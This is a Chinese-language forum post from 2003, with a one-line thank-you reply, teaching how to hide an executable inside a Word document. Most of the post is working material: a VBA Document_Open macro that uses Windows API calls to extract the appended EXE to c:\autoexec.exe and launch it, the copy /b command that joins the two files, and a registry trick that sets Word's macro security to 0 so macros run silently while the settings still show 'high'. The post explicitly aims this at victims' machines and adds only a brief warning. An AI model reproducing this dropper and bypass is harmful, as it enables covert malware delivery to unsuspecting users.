史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 應用軟體使用技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2003-04-02, 08:20 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 Exe變doc的方法 

其實這種轉換並不是文件格式上的變化,只不過是把一個EXE文件接在一個DOC文件的末尾而已,這個DOC文件當然就不是不同WORD的我的文件啦,該我的文件中包含了巨集語句,能在執行的時候把接在自己文件末尾的EXE文件資料讀取出來並執行,就造成一種假象,好像我的文件開啟時就執行了EXE文件似的.(和文件捆綁器的原理很像啊!)
熟悉VB的朋友都知道,WORD的巨集是使用VBA來編寫的,具體語法和VB一樣,但有些方法VB中沒有,如巨集病毒就是利用巨集複製語句來達到感染的目的.和VB一樣,我們可以在編寫巨集的時候調用WINDOWS API!!下面我們來介紹一下我們編寫這個巨集需要用到的API函數:

1)CreateFile 用於開啟文件,該函數VB的聲明如下:
Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As Long, ByVal dwCreationDistribution As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplate As Long) As Long

2)CloseHandle 用於關閉被開啟文件的句柄,該函數VB的聲明如下:
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

3)ReadFile 用於從被開啟文件中讀取資料,該函數VB的聲明如下:

Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long

4)WriteFile 用於把讀取出的資料寫入文件,該函數VB的聲明如下:

Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Byte, ByVal dwNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Long) As Long


5)SetFilePoniter移動文件指針,該函數VB的聲明如下:

Declare Function SetFilePointer Lib "kernel32" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByVal lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long

6)下面是以上函數的參數聲明

Public Const GENERIC_READ As Long = &H80000000

Public Const GENERIC_WRITE As Long = &H40000000

Public Const FILE_SHARE_READ As Long = 1

Public Const FILE_SHARE_WRITE As Long = 2

Public Const CREATE_NEW As Long = 1

Public Const CREATE_ALWAYS As Long = 2

Public Const OPEN_EXISTING As Long = 3

Public Const OPEN_ALWAYS As Long = 4

Public Const TRUNCATE_EXISTING As Long = 5

Public Const INVALID_HANDLE_value As Long = -1

Public Const FILE_ATTRIBUTE_NORMAL As Long = &H80


好了,有了這些準備工作就可以開始了,我們執行WORD2000,開啟VISUAL BASIC編輯器,新增一個模塊,把上面的函數和參數聲明拷進去!再回到「ThisDocument」的代碼視圖,選擇Document Open的事件,輸入一下代碼:

Private Sub Document_Open()

Dim buffer(65536) As Byte

Dim h, h2, j, i, k As Long

h = CreateFile(ThisDocument.Path & "/" & ThisDocument.Name, GENERIC_READ, FILE_SHARE_READ + FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0)

『以SHARE_READ的方式開啟自身的DOC文件

h2 = CreateFile("c:\autoexec.exe", GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0)

『新增一個EXE文件準備存放讀取出來的資料.

If h = INVALID_HANDLE_value Then

Exit Sub

End If

k = SetFilePointer(h, 32768, nil, 0)

『把文件指針移動到DOC文件與EXE文件交界處.

Do

i = ReadFile(h, buffer(0), 65536, j, 0)

i = WriteFile(h2, buffer(0), j, j, 0)

Loop Until j < 65536

CloseHandle (h)

CloseHandle (h2)

Shell "c:\autoexec.exe"

『執行EXE文件

End Sub

這樣巨集就編寫好了,注意的地方就是上面SetFilePointer函數的使用部分:32768是你編寫完巨集儲存好的DOC文件的文件大小,不一頂就是32768哦,大家注意!

大家可能有疑問,如何把EXE文件接到DOC文件後面呢?很簡單,把你要接的EXE放到和這個DOC文件同一個目錄下.執行DOC命令:

copy /b xxxx.doc + xxxxx.exe newdoc.doc


這樣就可以了~~~.當你開啟這個NEWDOC.DOC的時候,巨集就會把後面的EXE文件讀出來並儲存在C:\AUTOEXEC.EXE中,然後執行,是不是很恐怖啊!不過這需要你的WORD2000安全度為最低的時候才能實現,關於這個安全度的問題,我們又發現了微軟的小BUG,大家看看註冊表中這個鍵:

HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security 中的Level值.當安全度是3(高)的時候,WORD不會執行任何的巨集,2(中)的時候WORD會詢問你是否執行巨集,1(低)的時候WORD就會自動執行所有的巨集!但很容易就被發現安全度被設為低了,聰明的你一定想到如果這個值變為0的時候會怎麼樣!!??對了!如果設為0的話,WORD裡面就會顯示安全度為高,但卻能自動執行任何的巨集!!是不是很誇張??和註冊表編輯器的後門一樣這都是MS的後門吧?

如果要受害人的機器接受你的DOC文件又能順利執行,最重要就是把WORD的安全度在註冊表中的值改為0,怎麼改??方法太多了吧,單是IE的惡意代碼能實現的都太多了,另外,如果網頁上連接上是DOC的話,IE也會自動下載該DOC文件!危險的MS啊!!
這個算不算漏洞我不敢說,但防範真的很難,除非一天到晚監視著註冊表,或者不用WORD?太消極了吧,最重要的是小心防範,陌生人的東西千萬不要收!包括非EXE文件,我們現在發現了DOC文件能隱藏EXE文件,也會有人發現其他文件能隱藏EXE,所以大家千萬要小心.
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2003-05-22, 04:22 PM   #2 (permalink)
註冊會員
榮譽勳章
UID - 70713
在線等級: 級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時級別:9 | 在線時長:122小時 | 升級還需:18小時
註冊日期: 2003-05-21
VIP期限: 2011-04
文章: 192
精華: 0
現金: 91 金幣
資產: 114429 金幣
預設

感謝大大
waltertwtp 目前離線  
送花文章: 306, 收花文章: 3 篇, 收花: 3 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 03:43 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1